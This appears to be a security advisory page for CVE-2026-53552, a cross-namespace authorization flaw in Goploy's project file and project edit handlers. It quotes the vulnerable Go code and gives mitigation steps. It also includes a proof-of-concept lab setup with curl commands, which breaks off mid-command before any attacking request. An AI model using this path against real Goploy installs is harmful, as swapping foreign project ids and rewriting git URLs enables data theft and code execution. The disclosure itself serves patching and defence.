Live › vulnerability › CVE-2026-53552
Go to dashboardGoploy's project file and project edit handlers take a project or file row id from the request body and act on it without checking the caller's namespace. A namespace manager can read, overwrite or delete files in other tenants' projects and rewrite their git remote URL, which runs attacker code on the next deploy.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-27 15:13 UTC, 0h before NVD. All times on this page are UTC.
Any Goploy install with more than one namespace where users hold the manager role in their own namespace is exposed, because those users can reach project files and git URLs across the install. Single-tenant installs with only trusted managers have much lower practical risk but are still on an affected version. Installs on 1.18.0 or later are not affected.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| github.com/zhenorzz/goploy | go | <= 1.17.5 | 1.18.0 |
goploy --version or the image tag; affected builds are <= 1.17.5.manager role, since that role holds the FileSync and EditProject permissions.1.18.0.manager role to a single tenant or remove FileSync and EditProject from it.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.GetData queries filter only by row id. A user holding the manager role (or any role that includes the FileSync / EditProject permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because Edit runs git remote set-url on the project's working tree.
zhenorzz/goploy develop HEAD as of 2026-05-27. Verified against the zhenorzz/goploy:1.17.5 Docker image (docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44).
The four handlers and the model lookups have been in this shape across the file API and project metadata API.
cmd/server/api/project/handler.go::AddFile (creates file under any project's directory; body controls projectId):
func (Project) AddFile(gp *server.Goploy) server.Response {
type ReqData struct {
ProjectID int64 `json:"projectId" validate:"required,gt=0"`
Content string `json:"content" validate:"required"`
Filename string `json:"filename" validate:"required"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)
// ... os.Create(filePath); file.WriteString(reqData.Content)
id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()
}
cmd/server/api/project/handler.go::EditFile (overwrites file content; body controls file id, server derives project from the file row):
func (Project) EditFile(gp *server.Goploy) server.Response {
type ReqData struct {
ID int64 `json:"id" validate:"required,gt=0"`
Content string `json:"content" validate:"required"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()
// ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))
file.WriteString(reqData.Content)
}
cmd/server/api/project/handler.go::RemoveFile (deletes file row + on-disk file by body id):
func (Project) RemoveFile(gp *server.Goploy) server.Response {
type ReqData struct {
ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()
if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }
}
cmd/server/api/project/handler.go::Edit (updates any project's metadata; on URL change runs git remote set-url in the project working tree):
func (Project) Edit(gp *server.Goploy) server.Response {
// ... ReqData has ID, Name, URL, Branch, Script, etc.
projectData, err := model.Project{ID: reqData.ID}.GetData()
model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()
if reqData.URL != projectData.URL {
srcPath := config.GetProjectPath(projectData.ID)
cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL)
cmd.Dir = srcPath
}
}
internal/model/project_file.go::ProjectFile.GetData filters only by row id, no namespace join:
func (pf ProjectFile) GetData() (ProjectFile, error) {
err := sq.
Select("id, project_id, filename, insert_time, update_time").
From(projectFileTable).
Where(sq.Eq{"id": pf.ID}).
...
}
internal/server/route.go::Route.hasPermission checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to gp.Namespace.ID:
func (r Route) hasPermission(permissionIDs map[int64]struct{}) error {
if len(r.permissionIDs) == 0 { return nil }
for _, permissionID := range r.permissionIDs {
if _, ok := permissionIDs[permissionID]; ok { return nil }
}
return errors.New("no permission")
}
Any logged-in user assigned the manager role in their own namespace can call /project/addFile, /project/editFile, /project/removeFile, and /project/edit. The seeded manager role (role.id = 1) is granted both FileSync (permission.id = 68) and EditProject (permission.id = 17) by database/goploy.sql. Multi-tenant deployments typically assign manager to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.
Setup against the published Docker image:
docker network create goploy-net
docker run -d --name goploy-mysql --network goploy-net \
-e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \
mysql:8.0 --default-authentication-plugin=mysql_native_password
# Wait for MySQL, then load schema
docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql
docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'
# Mount goploy.toml pointing DB at goploy-mysql:3306
docker run -d --name goploy-app --network goploy-net -p 18080:80 \
-v $PWD/repo:/opt/goploy/repository \
zhenorzz/goploy:1.17.5
Set up two namespaces and two non-super-manager users, each assigned manager (role_id=1) only in their own namespace:
# Admin login (default account admin / admin!@# requires first-login change)
curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \
-H 'Content-Type: application/json' \
-d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}'
ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'
# Create NS_B
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}'
# → {"data":{"id":2}}
# Create alice (id=2) and bob (id=3)
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
-d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
-d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}'
# Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
-d '{"namespaceId":1,"userIds":[2],"roleId":1}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
-d '{"namespaceId":2,"userIds":[3],"roleId":1}'
# As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \
-d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git",
"path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync",
"transferOption":"-rtv","deployServerMode":"serial",
"script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
"deployFinish":{"mode":"","content":""}}}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \
-d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_2026\n"}'
# Bob logs in (first-login change)
curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \
-H \
-d This page as .md · .json · in your agent: get_signal("CVE-2026-53552")
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